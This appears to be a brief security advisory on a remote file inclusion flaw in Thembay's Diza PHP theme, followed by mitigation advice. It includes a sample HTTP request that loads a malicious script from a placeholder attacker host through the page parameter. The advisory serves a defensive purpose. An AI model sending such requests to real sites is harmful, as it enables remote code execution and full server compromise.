How the Exploit Works
The exploit takes advantage of the improper control of a filename for an Include/Require statement in a PHP program within Thembay’s Diza. This vulnerability allows an attacker to include a file from a remote server that contains malicious PHP code. When this malicious code is run on the local server, it can lead to a complete system compromise or data leakage.
Conceptual Example Code
An attacker might exploit this vulnerability with a request similar to the following:
GET /index.php?page=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable-site.comThis request would cause the server to fetch and execute the malicious PHP script hosted on the attacker’s server. This could give the attacker the same privileges as the server’s PHP process, potentially leading to a full system compromise.
Mitigation Measures
To mitigate this vulnerability, users are advised to apply the vendor’s patch as soon as it becomes available. Until the patch is released, users can implement a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. These tools can help detect and prevent the exploitation of this vulnerability. Users should also consider disabling the ability for PHP to include files from remote servers or limit it to trusted sources only.
